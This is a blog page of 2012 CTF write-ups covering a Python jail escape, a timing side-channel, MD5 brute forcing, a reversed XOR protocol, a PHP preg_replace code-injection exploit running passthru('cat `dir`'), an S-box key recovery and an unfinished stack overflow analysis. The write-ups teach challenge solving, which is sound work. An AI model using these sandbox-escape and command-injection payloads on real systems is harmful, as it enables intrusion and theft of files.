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25Oct/12Off

Hack.lu CTF – Python Jail Writeup

Posted by aXs

Challenge source code:

#!/usr/bin/env python
'''
Running instructions.
 sockets are insecure. We do not implement any socket behaviour in this
 file.
 Please make this file +x and run with socat:
    socat TCP-LISTEN:45454,fork EXEC:./chal.py,pty,stderr

Debugging:
 Just execute chal.py and play on terminal, no need to run socat

Note:
 This challenge is a tribute to PHDays Finals 2012 challenge 'ndevice'.
 Thanks again, I had fun solving it.
 
 I'm fairly certain that this challenge avoids being exploitable by
 the tricks we could use in PHDays (the module "os" was imported...).
 So, no advantage for people who did not attend PHDays.
 
'''

def make_secure():
        UNSAFE_BUILTINS = ['open',
         'file',
         'execfile',
         'compile',
         'reload',
         '__import__',
         'eval',
         'input'] ## block objet?
         for func in UNSAFE_BUILTINS:
           del __builtins__.__dict__[func]

from re import findall
make_secure()

print 'Go Ahead, Expoit me >;D'

while True:
    try:
      inp = findall('\S+', raw_input())[0]
      print "inp=", inp
      a = None
      exec 'a=' + inp
      print 'Return Value:', a
    except Exception, e:
      print 'Exception:', e

As you guessed it, we need to escape the jail and read the content of a file named "key".

Many many ways to solve this, I went with:

$ nc ctf.fluxfingers.net 2045

Go Ahead, Expoit me >;D
5;s=raw_input();exec(s)
f = (t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'file').next()('key')
Return Value: 5
5;s=raw_input();exec(s)
a = f.read()
Return Value: FvibLF0eBkCBk
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20Oct/12Off

GreHack 2012 – Web100 (python daemon) Writeup

Posted by aXs

I don't know why this was classified as "Web" during the CTF because it's actually a Python TCPServer, nothing to do with Web.

Anyways, the only hint we get for this challenge is "192.168.203.35:30050"

When telneting to it, it does nothing, no banner. Sending a string will make it output an integer but sometime with a notable 5 seconds delay. We are not disconnected after each string.

We started by logging the integer replies and if there was a delay or not. Analyzing the data, we found that after a certain number of packets, the delay patterns will start to repeat exactly.

Manually converting the delay pattern to binary for the first few ones started to give us ASCII characters...

To summarize:
- We can send as much packets as we want
- Each packet will get an integer reply sometime with a 5 seconds delay
- The delay pattern repeats, the integer numbers does not
- It's a time-based attacks on the bits of the flag, 1 will get a delay, 0 will not.

Solution:

#!/usr/bin/env python

import socket
import time
import struct

host = '192.168.203.35'
port = 30050

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host,port))

flag = ''
answer = ''

i = 0
while i < 1024:
   buffer = 'A' * 8
   start = time.time()
   sock.send(buffer)
   result = sock.recv(64)
   elapsed = time.time() - start
   print "i=", i, "elapsed=", elapsed, "result=", result
   if elapsed > 2:
     flag = flag + '1'
   else:
     flag = flag + '0'
   i = i + 1
   if i % 8 == 0:
     c = int(flag,2)
     answer = answer + chr(c)
     print "flag=", answer
     flag = ''
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19Oct/12Off

HackYou CTF – PPC 200 – Oscaderp Forensic Writeup

Posted by aXs

Don't you love challenge with README ?

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
[*] The password that's being used is 1,048,576 characters long.
[*] According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
[*] Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
    The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
[*] We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

So to summarize:
- We have a partial password (1,048,568 password keystrokes)
- We know the md5 of the whole password: 287d3298b652c159e654b61121a858e0
- We need to bruteforce in a smart way the 8 missing bytes

To solve this challenge we will use a property of MD5: we can hash chunks of the message in succession as long we respect the block size of the algorithm: 64 bytes

Our strategy:
- Init MD5
- Hash 1048568 - 1048568 % 64 = 1048512 bytes
- Bruteforce the missing bytes, using MD5_Update to update the partial hash, much faster than hashing the whole string from scratch for each brute force round

#include <sys/types.h>
#include <sys/uio.h>
#include <openssl/md5.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>

#define PASSWORD_PARTIAL_LENGTH 1048568
#define PASSWORD_MISSING_LENGTH 8
#define PASSWORD_INIT_LENGTH PASSWORD_PARTIAL_LENGTH - (PASSWORD_PARTIAL_LENGTH % MD5_CBLOCK)
#define HASH_TARGET "287d3298b652c159e654b61121a858e0"

char *byte_to_hex(unsigned char *buffer)
{
  static char hex[MD5_DIGEST_LENGTH * 2];
  int c;

  for(c=0 ; c < MD5_DIGEST_LENGTH ; c++)
    sprintf(hex + c*2, "%.2x", buffer[c]);

  return hex;
}

void hex_to_byte(unsigned char *buffer, unsigned char *digest)
{
  int c;
  unsigned char number[3];

  for(c=0 ; c < (MD5_DIGEST_LENGTH << 1) ; c += 2)
  {
    memcpy(number, buffer + c, 2);
    number[2] = 0;
    sscanf(number, "%x", &digest[c >> 1]);
  }
}

int main(int argc, char *argv[])
{
  FILE *f;

  unsigned int i;
  static unsigned char password[PASSWORD_PARTIAL_LENGTH + PASSWORD_MISSING_LENGTH];

  static unsigned char guess_digest[MD5_DIGEST_LENGTH];
  static unsigned char target_digest[MD5_DIGEST_LENGTH];

  MD5_CTX md5init;

  hex_to_byte(HASH_TARGET, target_digest);
 
  printf("Target hash=");
  printf(byte_to_hex(target_digest));
  printf("\n");

  f = fopen("password", "r");
  fread(password, 1, PASSWORD_PARTIAL_LENGTH, f);
  fclose(f);

  MD5_Init(&md5init);
  MD5_Update(&md5init, password, PASSWORD_INIT_LENGTH);

  for(i = 0 ; i < pow(10, PASSWORD_MISSING_LENGTH) ; i++)
  {
     MD5_CTX md5update;

     memcpy(&md5update, &md5init, sizeof(MD5_CTX));

     sprintf((char *)password + PASSWORD_PARTIAL_LENGTH, "%i", i);

     MD5_Update(&md5update, password + PASSWORD_INIT_LENGTH, MD5_CBLOCK);
     MD5_Final(guess_digest, &md5update);

     if (memcmp(guess_digest, target_digest, MD5_DIGEST_LENGTH) == 0)
     {
        printf("WIN %s %08u\n", byte_to_hex(guess_digest), i);
        exit(0);
     }
  }

  return 0;
}

Result:

$ gcc -O3 -o crack crack.c -lcrypto
$ ./crack
Target hash=287d3298b652c159e654b61121a858e0
WIN 287d3298b652c159e654b61121a858e0 69880983

We add those missing keystrokes to the keylogger content and we get the SHA1:

947c83329e6cf2d9b747af59edf7974752afd741

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19Oct/12Off

HackYou CTF – Epic Arc 300 – CTF.EXE Writeup

Posted by aXs

In this challenge we get a Win32 console binary which just display garbage when started.

Reversing it with IDA, we see it connects to a TCP server.

I had noticed previously that the file being transfered in the Epic Arc 200 challenge was an Erlang BEAM file (compiled erlang)

This BEAM file was a TCP server. You guessed it, this is the server part for this ctf.exe, but not quite exactly the same server that on the challenge box. I will spare you the Erlang disassembly, it's not really interesting. You can obtain it with erts_debug:df(Module).

We can still reverse enough from this BEAM file to understand what the server is doing and the client is doing in reply.

What the server part will do:

- Send a banner (17 bytes)
- Send a session key (8 bytes)
- Send a CRLF (2 bytes)
- Send "IV" (4 random bytes)
- Wait for our handshake
- Reply in an encrypted form with an error message or the flag if your handshake is correct

A correct handshake needs to be:
- "FlagRequest:omkesey" + IV + "\n\r" (this string can be found in CTF.exe)
- XOR encrypted with "_hackme_" itself XORed with the session key sends by the server

To decrypt the server reply, you use this same XOR key.

import socket
import sys

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,3137))

banner = s.recv(17) # banner
print "banner=", repr(banner)

key = s.recv(8)
print "key=", key.encode("hex"), "len=", len(key)

hackme = "_hackme_"

key2 = ''
i = 0
while i < 8:
  key2 = key2 + chr(ord(key[i]) ^ ord(hackme[i]))
  i = i +1

print "key2=", key2.encode("hex")

key = key2

crlf = s.recv(2)  # \n\r
print "CRLF=", repr(crlf)

iv = s.recv(4)  # random bytes
print "IV=", iv.encode("hex")

request = "FlagRequest:omkesey" + iv + "\n\r"

print "request=", repr(request), "len=", len(request)

handshake = ''

for i in xrange(0, len(request)):
  handshake = handshake + chr(ord(request[i]) ^ ord(key[i % 8]))

print "handshake=", repr(handshake), "len=", len(handshake)
print "handshake=", handshake.encode("hex")

s.send(handshake)

reply = s.recv(128)

print "Raw=", repr(reply)
print "Raw=", reply.encode("hex")

message = ''
for i in xrange(0, len(reply)):
  message = message + chr(ord(reply[i]) ^ ord(key[i % len(key)]))

print "message=", repr(message)
print "message=", message.encode("hex")
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19Oct/12Off

HackYou CTF – Web 300 – RNG of Ultimate Security Writeup

Posted by aXs

Web challenge.

We have the "source code" and we know the location of the flag:

<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

The web page is simple form to generate pseudo-random numbers. Here is the form:

    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>1455592514
1816609169
1284133797
66671252
462888992
</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>

The RNG "algorithm" is passed in the form in the rng_algorithm POST variable, let's decode it:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Looks like a preg_replace pattern with variable $1.

Let's zoom on the obfuscated PHP source code:

<?php

${b("ee3ab0f9421ce0feabb4676542993ab3")} = b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")} = b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")} = b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")} = b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")} = b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")} = b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if (${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"), ${b("eb717d90b3287b1fbd")})) {
    ${b("532194e0380d7a29761eb0b215b4168d")} = ${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
    ${b("f877261be92e25500a601f21ab4cfa84")} = ${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
    ${b("dbcffbbeb2632a6e6c6f84ac52064768")} = b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
    if (${b("2e272b48041e04ef643cc8624445f2a0")} != ${b("6a24556aba8e247fa9d27de3bed53586")})
        ${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
    else
        ${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"), ${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"), ${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}), ${b("532194e0380d7a29761eb0b215b4168d")}));
} else {
    foreach (${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"), b("94a8be1778")) as $_)
        ${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}() . b("f975de3ba2"));
}
${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b)
{
    return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ ^ ®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);
}

Looks a lot like obfuscated javascript. The string decode is function b. Function b is an eval function and a funny looking binary string.

What does this string do ?

Using the Vulcan Logic Decompiler (php opcode disassembler) :

line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   3     0  >   EXT_STMT                                                
         1      FETCH_CONSTANT                                   ~0      '%DC%E7%91%88%A9%B2%D3%D2%9C%C4%A0%AC%9E%F3%B6%E9%B2%EE%8C%96%89%85%FA%A0%ED%A9%A6%CE%B2%90%8C%D7%AA%B1%A7%E8%F9%E4%BC%A6%A1%AE%81%D3%F0%BF%BF%E0%9A%D2%A0%DA%8A%D0%BE%DF%C1%DC%95%EF%CD%B5%FE%EB%99%C4%96%FE%B6%B1%9D%A4%B3%8C%C0%E5%F2%C8%E0%D9%EE%AF%8A%A1%89%BF%B8%96%A6%F5%F0%F6%CC%BC%8A%89%DF%BA%91%EC%D8%DA%E5%E0%C7%D0%81%8F%D1%91%CA%DB%89%E2%E4%A0%FE%8A%E9%C1%D4%DB%92%C8%D5%C3%91%A0%CF%84%8F%AA%FC%E4%B1%B5%D1%DB%CF%C9'
         2      FETCH_CONSTANT                                   ~1      '%AE%82%E5%FD%DB%DC%F3%A1%E8%B6%FF%DE%FB%83%D3%88%C6%C6%E1%F2%BC%AD%89%D5%8F%DA%D2%BC%9A%B4%EE%FB%9A%9D%9F%C1%D5%90%CE%D3%C4%87%AD%B0%95%D6%D3%C8%B2%A1%D4%A8%E6%B5%D0%F7%E5%BE%BC%C2%F5%9C%D1%DA%AF%ED%BF%A0%C6%D0%FE%CF%9B%AE%9C%9D%C6%F0%BC%A1%DC%CE%A8%8D%FA%CA%DA%E5%D2%87%D8%D2%AE%90%B2%A0%F6%81'
         3      BW_XOR                                           ~2      ~0, ~1
         4      FREE                                                     ~2
   5     5    > RETURN                                                   1

I don't quite explain myself yet how this binary string ends up being executed by the Zend parser yet but I know enough to reproduce the decryption in Cryptool, xoring hex string 1 with hex string 2:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))^pack("\x48\x2a",substr($b,8));

So this is function b. Now we can write a python script that will unobfuscate the string for us:

import hashlib
from Crypto.Cipher import XOR

file = open("web300.strings")

source = open("web300.txt").read()

for line in file:
  s = line.strip()
  key = s[0:8]
  cipher = s[8:]
  m = hashlib.md5()
  m.update(key)
  hash = m.digest()
  obj=XOR.new(hash)
  plain = obj.decrypt(cipher.decode("hex"))
  print key, plain
  source = source.replace("b(\"" + s + "\")", plain)

print source

Result:

${Gjx7QbQ4l3EL}=array_key_exists;${USVuYTejL3cA}=preg_replace;${lRzbPV0GVCmL}=mt_rand;${eU3WOwVfyB2j}=printf;${MFBEFx3icClz}=range;${KytnuQGCMhPA}=pack;${eU3WOwVfyB2j}(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);if(${Gjx7QbQ4l3EL}(rng_seeds,${_POST})){${LhfnDi9VtrJM}=${_POST}[rng_seeds];${aKRml6aSjmxW}=${_POST}[rng_algorithm];${SBBTqFwnO6s5}=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;if(${aKRml6aSjmxW}!=${SBBTqFwnO6s5})${eU3WOwVfyB2j}(wuut?! hacker detected!);else${eU3WOwVfyB2j}(${USVuYTejL3cA}(#\b(\d+)\b#se,${KytnuQGCMhPA}(H*,${aKRml6aSjmxW}),${LhfnDi9VtrJM}));}else{foreach(${MFBEFx3icClz}(1,5)as$_)${eU3WOwVfyB2j}(${lRzbPV0GVCmL}().
);}${eU3WOwVfyB2j}(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Much better but we still have a second layer of obfuscation, let's remove it using some simple search/replace in vim:

printf(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);

if(array_key_exists(rng_seeds,${_POST})){

  if(${_POST}[rng_algorithm]!=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929)
    printf(wuut?! hacker detected!);
  else
    printf(preg_replace(#\b(\d+)\b#se,pack(H*,${_POST}[rng_algorithm]),${_POST}[rng_seeds]));
}
else
{
  foreach(range(1,5) as $_) printf(mt_rand().);
}

printf(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Nice! preg_replace with an "e" (execute) modifier but:
- the pattern will only match decimal number (\d+) so we can't use the classic attack of passing a PHP function in rng_seeds and getting it executed by the "e" modifier.
- there is a "security check" on the content of rng_algorithm so we cannot replace directly this hex string with our own php code

Now take a closer look on the security check. The huge hex string is not actually a string.. it's missing quotes! So PHP will interpret it as a number.. but PHP is not very good with huge numbers if you don't use the special BigInt functions. Let's verify this:

$ php -a
Interactive shell

php > $a = 5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;
php > echo $a;
5.3684131286442E+123

The number is truncated to 5368413128644200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

So we can replace anything after 5368413128644154, PHP won't be able to properly compare it with the reference numbers.

Now please notice something: in order to be a valid number, this hex string cannot contains letters! So we can only use characters using the [0-9] pattern.

This severely restrict which php functions and characters we can use. I wrote a simple script to dump all built-in PHP function names that were only numbers when converted to hex:

$funcs = get_defined_functions();

foreach($funcs['internal'] as $func)
{
  $l = '';
  $i = 0;
  while($i < strlen($func))
  {
    $l .= dechex(ord($func[$i++]));
  }
  if (is_numeric($l) && !strpos($l, 'e'))
  {
    print $func . ' = ' . $l . PHP_EOL;
  }
}

Result:

$ php func.php
each = 65616368
date = 64617465
idate = 6964617465
getdate = 67657464617465
ereg = 65726567
eregi = 6572656769
bcadd = 6263616464
...

So we need to keep "5368413128644154" at the beginning of the number which is hex for "ShA1(dAT"

The flag is in the flag.txt.gz file.

I settled on the following code:

ShA1(dATe(passthru('cat `dir`')))

Why ?

- "flag.txt.gz" cannot be expressed only with [0-9] hex
- passthru() will output the result of the shell command directly to the browser, bypassing date() and sha1().
- Little bash expansion trick to get cat to output every file in the current directory

So this will dump the file content of all files in the current folder. From there, we extract flag.txt.gz and extract it, it's 19 megabytes big. It turns out be base64-encoded multiple times but nothing difficult.

I will need to research more about the binary string being executed by Zend parser later.

Please note you can also decrypt the b function using Xdebug's tracing functionality.

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18Oct/12Off

HackYou CTF – Crypto 300 – UDP Hardcore Writeup

Posted by aXs

In this challenge we need to guess the secret key used by an encryption service running over UDP.

We get the source of the server-side.

The encryption algorithm uses a Sbox that is initialized with sequential numbers from 1 to 128:

SALTED_SBOX = list(range(128))

Then the secret key is mixed in the Sbox using element permutations:

add_key(SALTED_SBOX, KEY)

def add_key(sbox, k):
  for i, c in enumerate(k):
    sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
    for i in xrange(len(sbox)):
      sbox[i] = (sbox[i] + 1) % 128
  return

The packet format for this service is then one UDP packet per request as this:

[[C1][C2]..[Cn]] where n < 64

Command block is divided in 2 equals parts:

mid = len(data) &gt;&gt; 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")

c = encrypt(SALTED_SBOX, k, m)
f.sendto(c.encode("hex"), addr)

One part, k, is used to mix more data in the Sbox part and the other part, m, is used for encryption

def encrypt(sbox, k, m):
  sbox = sbox[::]
  add_key(sbox, k)

  c = ""
  for ch in m:
    c += chr(sbox[ord(ch)])
    sbox = combine(sbox, sbox)
  return c

The combine function is full of evil remix so we need to avoid it if we want to keep track of the state of the Sbox:

def combine(a, b):
  ret = [-1] * len(b)
  for i in range(len(b)):
    ret[i] = a[b[i]]
  return tuple(ret)

As the Sbox is copied over anew for each request (sbox = sbox[::]), if we send a single m part, we will avoid the combine.

So our strategy:
- Send 127 2-bytes packets with an empty k part (NUL character) and just one m part request to dump the Sbox from the server
- The dump will miss offset 0 of the Sbox so we use one add additionnal packet to swap offset 0 and 1 in the Sbox and request offset 1 again to fill in our local Sbox offset 0
- Revert the mixing algorithm using the dumped Sbox to recover the key

Source code:

#!/usr/bin/env python

import os, sys
import socket

host = sys.argv[1]

addr = (host, 7777)

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sbox = list(range(128))

for i in xrange(1,128):

  msg = chr(0) + chr(i)
  s.sendto(msg,addr)
  reply, addr = s.recvfrom(1024)
  sbox[i] = ord(reply.decode("hex"))

msg = chr(1) + chr(1)
s.sendto(msg,addr)
reply, addr = s.recvfrom(1024)
sbox[0] = ord(reply.decode("hex")) - 1

print "Dumped Sbox=", repr(sbox)

local_sbox = list(range(128))

key_length = sbox[127]

print "Key length=", key_length + 1

for k in xrange(0,128):
  sbox[k] = (sbox[k] - key_length - 1)  % 128

flag = ''

i = 0
while i < key_length+1:
  a = sbox[i]
  if a:
    c = local_sbox.index(a)
    print "Position=", i, "Remote Sbox=", a, "Local Sbox offset=", c,  "Char=", repr(chr(c))
    flag = flag + chr(c)
    local_sbox[i], local_sbox[c] = local_sbox[c], local_sbox[i]
    for z in xrange(len(local_sbox)):
      local_sbox[z] = (local_sbox[z] + 1) % 128
      sbox[z] = (sbox[z] + 1) % 128
  i = i + 1

print "flag=", flag

Run it:

Dumped Sbox= [86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Key length= 26
Position= 0 Remote Sbox= 60 Local Sbox offset= 60 Char= '<'
Position= 1 Remote Sbox= 106 Local Sbox offset= 105 Char= 'i'
Position= 2 Remote Sbox= 117 Local Sbox offset= 115 Char= 's'
Position= 3 Remote Sbox= 99 Local Sbox offset= 96 Char= '`'
Position= 4 Remote Sbox= 120 Local Sbox offset= 116 Char= 't'
Position= 5 Remote Sbox= 109 Local Sbox offset= 104 Char= 'h'
Position= 6 Remote Sbox= 55 Local Sbox offset= 49 Char= '1'
Position= 7 Remote Sbox= 9 Local Sbox offset= 115 Char= 's'
Position= 8 Remote Sbox= 11 Local Sbox offset= 96 Char= '`'
Position= 9 Remote Sbox= 116 Local Sbox offset= 107 Char= 'k'
Position= 10 Remote Sbox= 61 Local Sbox offset= 51 Char= '3'
Position= 11 Remote Sbox= 4 Local Sbox offset= 121 Char= 'y'
Position= 12 Remote Sbox= 20 Local Sbox offset= 96 Char= '`'
Position= 13 Remote Sbox= 121 Local Sbox offset= 108 Char= 'l'
Position= 14 Remote Sbox= 62 Local Sbox offset= 48 Char= '0'
Position= 15 Remote Sbox= 125 Local Sbox offset= 110 Char= 'n'
Position= 16 Remote Sbox= 73 Local Sbox offset= 57 Char= '9'
Position= 17 Remote Sbox= 29 Local Sbox offset= 96 Char= '`'
Position= 18 Remote Sbox= 119 Local Sbox offset= 101 Char= 'e'
Position= 19 Remote Sbox= 34 Local Sbox offset= 110 Char= 'n'
Position= 20 Remote Sbox= 34 Local Sbox offset= 48 Char= '0'
Position= 21 Remote Sbox= 10 Local Sbox offset= 117 Char= 'u'
Position= 22 Remote Sbox= 125 Local Sbox offset= 103 Char= 'g'
Position= 23 Remote Sbox= 28 Local Sbox offset= 104 Char= 'h'
Position= 24 Remote Sbox= 87 Local Sbox offset= 63 Char= '?'
Position= 25 Remote Sbox= 87 Local Sbox offset= 62 Char= '>'
flag= <is`th1s`k3y`l0n9`en0ugh?>
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5Oct/12Off

CSAW 2012 CTF – Exploit 500 Writeup

Posted by aXs

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1         = byte ptr -4B4h
.text:08048CF7 buffer2         = byte ptr -438h
.text:08048CF7 answer          = byte ptr -38h
.text:08048CF7 buffer_length   = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21                 mov     eax, [ebp+fd]
.text:08048D24                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C                 mov     dword ptr [esp+8], 7Ch ; n
.text:08048D34                 lea     edx, [ebp+buffer1]
.text:08048D3A                 mov     [esp+4], edx    ; buf
.text:08048D3E                 mov     [esp], eax      ; fd
.text:08048D41                 call    _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5                 mov     eax, [ebp+fd]
.text:08048DB8                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0                 mov     dword ptr [esp+8], 400h ; n
.text:08048DC8                 lea     edx, [ebp+buffer2]
.text:08048DCE                 mov     [esp+4], edx    ; buf
.text:08048DD2                 mov     [esp], eax      ; fd
.text:08048DD5                 call    _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2                 mov     eax, [ebp+buffer_length]
.text:08048DF5                 shr     eax, 2
.text:08048DF8                 mov     ecx, eax
.text:08048DFA                 lea     eax, [ebp+buffer2]
.text:08048E00                 mov     esi, eax
.text:08048E02                 lea     eax, [ebp+answer]
.text:08048E05                 mov     edi, eax
.text:08048E07                 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let's try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies   **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

